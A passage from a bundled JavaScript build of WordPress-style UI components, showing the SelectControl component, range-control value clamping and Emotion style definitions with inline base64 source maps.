ob3V0IGFmZmVjdGluZyBoZWlnaHRcblx0XHRtYXJnaW46IDA7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0bWF4LXdpZHRoOiBub25lO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9O1xuXHRcdCR7IHNpemVTdHlsZXMgfTtcblx0XHQkeyBzaXplUGFkZGluZ3MgfTtcblx0XHQkeyBvdmVyZmxvd1N0eWxlcyB9XG5cdFx0JHsgdmFyaWFudFN0eWxlcyB9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEb3duQXJyb3dXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07IC8vIG9wdGljYWxseSBhZGp1c3QgdGhlIGljb25cblx0bGluZS1oZWlnaHQ6IDA7XG5cblx0cGF0aCB7XG5cdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRDb250cm9sU3VmZml4V3JhcHBlcldpdGhDbGlja1Rocm91Z2ggPSBzdHlsZWQoXG5cdElucHV0Q29udHJvbFN1ZmZpeFdyYXBwZXJcbilgXG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSB9XG5gO1xuIl19 */"));
30472
30473 // packages/components/build-module/select-control/chevron-down.mjs
30474 var import_jsx_runtime123 = __toESM(require_jsx_runtime(), 1);
30475 var SelectControlChevronDown = () => {
30476 return /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(InputControlSuffixWrapperWithClickThrough, {
30477 children: /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(DownArrowWrapper, {
30478 children: /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(icon_default2, {
30479 icon: chevron_down_default,
30480 size: chevronIconSize
30481 })
30482 })
30483 });
30484 };
30485 var chevron_down_default2 = SelectControlChevronDown;
30486
30487 // packages/components/build-module/select-control/index.mjs
30488 var import_jsx_runtime124 = __toESM(require_jsx_runtime(), 1);
30489 function useUniqueId3(idProp) {
30490 const instanceId = (0, import_compose28.useInstanceId)(SelectControl);
30491 const id3 = `inspector-select-control-${instanceId}`;
30492 return idProp || id3;
30493 }
30494 function SelectOptions({
30495 options: options2
30496 }) {
30497 return options2.map(({
30498 id: id3,
30499 label,
30500 value,
30501 ...optionProps
30502 }, index2) => {
30503 const key = id3 || `${label}-${value}-${index2}`;
30504 return /* @__PURE__ */ (0, import_jsx_runtime124.jsx)("option", {
30505 value,
30506 ...optionProps,
30507 children: label
30508 }, key);
30509 });
30510 }
30511 function UnforwardedSelectControl(props, ref) {
30512 const {
30513 className: className2,
30514 disabled = false,
30515 help,
30516 hideLabelFromVision,
30517 id: idProp,
30518 label,
30519 multiple = false,
30520 onChange,
30521 options: options2 = [],
30522 size: size3 = "default",
30523 value: valueProp,
30524 labelPosition = "top",
30525 children,
30526 prefix: prefix2,
30527 suffix,
30528 variant = "default",
30529 __next40pxDefaultSize = false,
30530 __nextHasNoMarginBottom: _2,
30531 // Prevent passing to internal component
30532 __shouldNotWarnDeprecated36pxSize,
30533 ...restProps
30534 } = useDeprecated36pxDefaultSizeProp(props);
30535 const id3 = useUniqueId3(idProp);
30536 const helpId = help ? `${id3}__help` : void 0;
30537 if (!options2?.length && !children) {
30538 return null;
30539 }
30540 const handleOnChange = (event) => {
30541 if (props.multiple) {
30542 const selectedOptions = Array.from(event.target.options).filter(({
30543 selected
30544 }) => selected);
30545 const newValues = selectedOptions.map(({
30546 value
30547 }) => value);
30548 props.onChange?.(newValues, {
30549 event
30550 });
30551 return;
30552 }
30553 props.onChange?.(event.target.value, {
30554 event
30555 });
30556 };
30557 const classes = clsx_default("components-select-control", className2);
30558 maybeWarnDeprecated36pxSize({
30559 componentName: "SelectControl",
30560 __next40pxDefaultSize,
30561 size: size3,
30562 __shouldNotWarnDeprecated36pxSize
30563 });
30564 return /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(base_control_default, {
30565 help,
30566 id: id3,
30567 className: classes,
30568 children: /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(StyledInputBase, {
30569 disabled,
30570 hideLabelFromVision,
30571 id: id3,
30572 isBorderless: variant === "minimal",
30573 label,
30574 size: size3,
30575 suffix: suffix || !multiple && /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(chevron_down_default2, {}),
30576 prefix: prefix2,
30577 labelPosition,
30578 __unstableInputWidth: variant === "minimal" ? "auto" : void 0,
30579 variant,
30580 __next40pxDefaultSize,
30581 children: /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(Select3, {
30582 ...restProps,
30583 __next40pxDefaultSize,
30584 "aria-describedby": helpId,
30585 className: "components-select-control__input",
30586 disabled,
30587 id: id3,
30588 multiple,
30589 onChange: handleOnChange,
30590 ref,
30591 selectSize: size3,
30592 value: valueProp,
30593 variant,
30594 children: children || /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(SelectOptions, {
30595 options: options2
30596 })
30597 })
30598 })
30599 });
30600 }
30601 var SelectControl = (0, import_element68.forwardRef)(UnforwardedSelectControl);
30602 SelectControl.displayName = "SelectControl";
30603 var select_control_default = SelectControl;
30604
30605 // packages/components/build-module/range-control/index.mjs
30606 var import_i18n13 = __toESM(require_i18n(), 1);
30607 var import_element72 = __toESM(require_element(), 1);
30608 var import_compose29 = __toESM(require_compose(), 1);
30609
30610 // packages/components/build-module/range-control/utils.mjs
30611 var import_element69 = __toESM(require_element(), 1);
30612 function floatClamp(value, min3, max3) {
30613 if (typeof value !== "number") {
30614 return null;
30615 }
30616 return parseFloat(`${clamp4(value, min3, max3)}`);
30617 }
30618 function useControlledRangeValue(settings) {
30619 const {
30620 min: min3,
30621 max: max3,
30622 value: valueProp,
30623 initial
30624 } = settings;
30625 const [state, setInternalState] = use_controlled_state_default(floatClamp(valueProp, min3, max3), {
30626 initial: floatClamp(initial ?? null, min3, max3),
30627 fallback: null
30628 });
30629 const setState = (0, import_element69.useCallback)((nextValue) => {
30630 if (nextValue === null) {
30631 setInternalState(null);
30632 } else {
30633 setInternalState(floatClamp(nextValue, min3, max3));
30634 }
30635 }, [min3, max3, setInternalState]);
30636 return [state, setState];
30637 }
30638
30639 // packages/components/build-module/range-control/input-range.mjs
30640 var import_element70 = __toESM(require_element(), 1);
30641
30642 // packages/components/build-module/range-control/styles/range-control-styles.mjs
30643 function _EMOTION_STRINGIFIED_CSS_ERROR__13() {
30644 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
30645 }
30646 var rangeHeightValue = 30;
30647 var railHeight = 4;
30648 var rangeHeight = () => /* @__PURE__ */ css({
30649 height: rangeHeightValue,
30650 minHeight: rangeHeightValue
30651 }, false ? "" : ";label:rangeHeight;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTBCQyIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHQgIGBcblx0XHQ6ICcnO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iID0gc3R5bGVkLnNwYW48IFRodW1iUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdGhlaWdodDogMTAwJTtcblx0b3V0bGluZTogMDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaGFkb3c6ICR7IENPTkZJRy5lbGV2YXRpb25YU21hbGwgfTtcblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHRodW1iRm9jdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFJhbmdlID0gc3R5bGVkLmlucHV0YFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdG1hcmdpbjogMCAtJHsgdGh1bWJTaXplIC8gMiB9cHg7XG5cdG9wYWNpdHk6IDA7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cmlnaHQ6IDA7XG5cdHRvcDogMDtcblx0d2lkdGg6IGNhbGMoIDEwMCUgKyAkeyB0aHVtYlNpemUgfXB4ICk7XG5gO1xuXG5jb25zdCB0b29sdGlwU2hvdyA9ICggeyBzaG93IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRkaXNwbGF5OiAkeyBzaG93ID8gJ2lubGluZS1ibG9jaycgOiAnbm9uZScgfTtcblx0XHRvcGFjaXR5OiAkeyBzaG93ID8gMSA6IDAgfTtcblxuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0b3BhY2l0eSAxMjBtcyBlYXNlLFxuXHRcdFx0XHRkaXNwbGF5IDEyMG1zIGVhc2UgYWxsb3ctZGlzY3JldGU7XG5cdFx0fVxuXG5cdFx0QHN0YXJ0aW5nLXN0eWxlIHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuY29uc3QgdG9vbHRpcFBsYWNlbWVudCA9ICggeyBwbGFjZW1lbnQgfTogVG9vbHRpcFByb3BzICkgPT4ge1xuXHRjb25zdCBpc0JvdHRvbSA9IHBsYWNlbWVudCA9PT0gJ2JvdHRvbSc7XG5cblx0aWYgKCBpc0JvdHRvbSApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0Ym90dG9tOiAtODAlO1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdHRvcDogLTgwJTtcblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLnNwYW48IFRvb2x0aXBQcm9wcyA+YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAwLCAwLCAwLCAwLjggKTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGNvbG9yOiB3aGl0ZTtcblx0Zm9udC1zaXplOiAxMnB4O1xuXHRtaW4td2lkdGg6IDMycHg7XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cblx0JHsgdG9vbHRpcFNob3cgfTtcblxuXHQkeyB0b29sdGlwUGxhY2VtZW50IH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTUwJSknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDUwJSknIH1cblx0KSB9XG5gO1xuXG4vLyBAdG9kbyBSZWZhY3RvciBSYW5nZUNvbnRyb2wgd2l0aCBsYXRlc3QgSFN0YWNrIGNvbmZpZ3VyYXRpb25cbi8vIEBzZWU6IHBhY2thZ2VzL2NvbXBvbmVudHMvc3JjL2gtc3RhY2tcbmV4cG9ydCBjb25zdCBJbnB1dE51bWJlciA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtc2l6ZTogMTNweDtcblx0bWFyZ2luLXRvcDogMDtcblxuXHRpbnB1dFt0eXBlPSdudW1iZXInXSYge1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogYCR7IHNwYWNlKCA0ICkgfSAhaW1wb3J0YW50YCB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFjdGlvblJpZ2h0V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLXRvcDogMDtcblxuXHRidXR0b24sXG5cdGJ1dHRvbi5pcy1zbWFsbCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdFx0JHsgcmFuZ2VIZWlnaHQgfTtcblx0fVxuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA4IH0gKSB9XG5gO1xuIl19 */");
30652 var thumbSize = 12;
30653 var deprecatedHeight = ({
30654 __next40pxDefaultSize
30655 }) => !__next40pxDefaultSize && /* @__PURE__ */ css({
30656 minHeight: rangeHeightValue
30657 }, false ? "" : ";label:deprecatedHeight;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWdDNEIiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb